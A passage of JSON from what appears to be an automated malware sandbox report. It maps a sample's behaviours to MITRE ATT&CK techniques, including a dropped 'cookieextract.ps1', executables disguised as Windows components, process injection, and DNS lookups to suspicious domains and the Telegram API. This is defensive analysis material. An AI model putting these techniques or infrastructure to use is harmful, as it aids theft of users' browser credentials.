string)","description":"$38","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; File: \"Launcher.exe\")\n Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")\n Found reference to API \"144557648729,3696,3134,,CreateDirectoryW,kernel32.dll,\"00:41:10.421\",RX=0,PX=0\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00006308.00000002.158407.1D83B000.00000004.mdmp\")\n Found reference to API \"144556718905,3696,3134,,CreateDirectoryW,kernel32.dll,\"00:41:10.421\",RX=0,PX=0\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00006308.00000002.158407.1D83B000.00000004.mdmp\")\n Found reference to API \"CreateDirectory\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileA\" (Indicator: \"CreateFile\"; File: \"Launcher.exe\")\n Found reference to API \"CreateFileA\" (Indicator: \"CreateFile\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"WaitForSingleObjectEx@KERNEL32.DLL at 00000000-00007948-65500-133-001B995D\n Sleep@KERNEL32.DLL at 00000000-00007948-65500-179-001B9700","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.003","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"Launcher.exe\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryExW@KERNEL32.DLL at 00000000-00007948-65500-119-001BE110\n LoadLibraryExW@KERNEL32.DLL at 00000000-00007948-65500-135-001BDAD1\n LoadLibraryExW@KERNEL32.DLL at 00000000-00007948-65500-140-001BD8B1","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$39","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"$3a","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Contains ability to executes commands or batch file","description":"Found string \":\\WINDOWS\\system32\\cmd.exe /c\" (Indicator: \"cmd.exe /c\"; Source: \"00000000-00007364.00000002.157710.036D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-174","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"Found reference to API \"MoveFileA\" (Indicator: \"MoveFile\"; File: \"Launcher.exe\")\n Found reference to API \"MoveFileExA\" (Indicator: \"MoveFile\"; File: \"Launcher.exe\")\n Found reference to API \"MoveFileA\" (Indicator: \"MoveFile\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")\n Found reference to API \"MoveFileExA\" (Indicator: \"MoveFile\"; Source: \"00000000-00005868.00000000.154394.00409000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"Launcher.exe\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"Launcher.exe\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; File: \"Launcher.exe\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005868.00000000.154394.00409000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; File: \"Launcher.exe\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; File: \"Launcher.exe\")\n Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")\n Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; Source: \"00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Contains ability to start a process (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Start-Process\"; File: \"Build.exe\")\n file/memory contains long string with (Indicator: \"Start-Process\"; File: \"cookieextract.ps1\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-250","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Contains reference to method used by Windows shell items (API string)","description":"Found reference to API \"SHFileOperationA\" (Indicator: \"SHFileOperation\"; File: \"Launcher.exe\")\n Found reference to API \"SHFileOperationA\" (Indicator: \"SHFileOperation\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-269","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$3b","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Creates directory on disk","description":"$3c","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-318","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$3d","origin":"Created Mutant","mitre_attack_id":"T1480","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Executes batch file","description":"Process \"cmd.exe\" with commandline \"/c \"\"%TEMP%\\\\tmp98B1.tmp.bat\"\"\" (UID: 00000000-00007352)","origin":"Monitored Target","mitre_attack_id":"T1059","relevance":3,"id":"target-220","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$3e","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"windows defender.exe\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_NO_SEH\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n \"explorer.exe\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_NO_SEH\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n \"System Properties.exe\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_NO_SEH\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$3f","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$40","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"Build.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 70160000\n \"System Properties.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll\" at A4970000\n \"windows defender.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll\" at A4970000\n \"explorer.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll\" at A4970000\n \"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 70160000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"$41","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"Build.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 71FB0000\n \"System Properties.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at A5F70000\n \"windows defender.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at A5F70000\n \"explorer.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at A5F70000\n \"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 71FB0000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"Launcher.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 76B80000\n \"Build.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 76B80000\n \"System Properties.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at D45F0000\n \"windows defender.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at D45F0000\n \"explorer.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at D45F0000\n \"grpconv.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 76B80000\n \"schtasks.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at D45F0000\n \"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 76B80000\n \"cmd.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at D45F0000\n \"timeout.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at D45F0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a000000000040c7c8d2f87f0000@ntdll.dll\"\n \"220023000000000018c7c8d2f87f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"Launcher.exe\" was detected as \"Nullsoft Scriptable Install System\" and name: \"Installer\"\n \"Launcher.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"windows defender.exe\" was detected as \"Nullsoft Scriptable Install System\" and name: \"Installer\"\n \"windows defender.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"explorer.exe\" was detected as \"Nullsoft Scriptable Install System\" and name: \"Installer\"\n \"explorer.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"System Properties.exe\" was detected as \"Nullsoft Scriptable Install System\" and name: \"Installer\"\n \"System Properties.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"$42","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$43","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"$44","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$45","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"aiopal.camdvr.org\"\n \"aiopal.giize.com\"\n \"api.telegram.org\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"$46","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$47","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$48","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$49","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"$4a","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"System Properties.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"Launcher.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\Launcher.exe\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Installation/Persistence","name":"Attempts remote code execution into another process memory space","description":"$4b","origin":"API Call","mitre_attack_id":"T1055.002","relevance":1,"id":"api-315","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create/modify Windows services (Powershell command string)","description":"file/memory contains long string with (Indicator: \"New-Item \"; File: \"Build.exe\")\n file/memory contains long string with (Indicator: \"Add-Content\"; File: \"Build.exe\")\n file/memory contains long string with (Indicator: \"New-Item \"; File: \"cookieextract.ps1\")\n file/memory contains long string with (Indicator: \"Add-Content\"; File: \"cookieextract.ps1\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-396","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; File: \"Launcher.exe\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"Launcher.exe\")\n Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"Launcher.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"Build.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"System Properties.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$4c","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops temp files","description":"\"Log.tmp\" has type \"ASCII text with CRLF line terminators\" - Location: 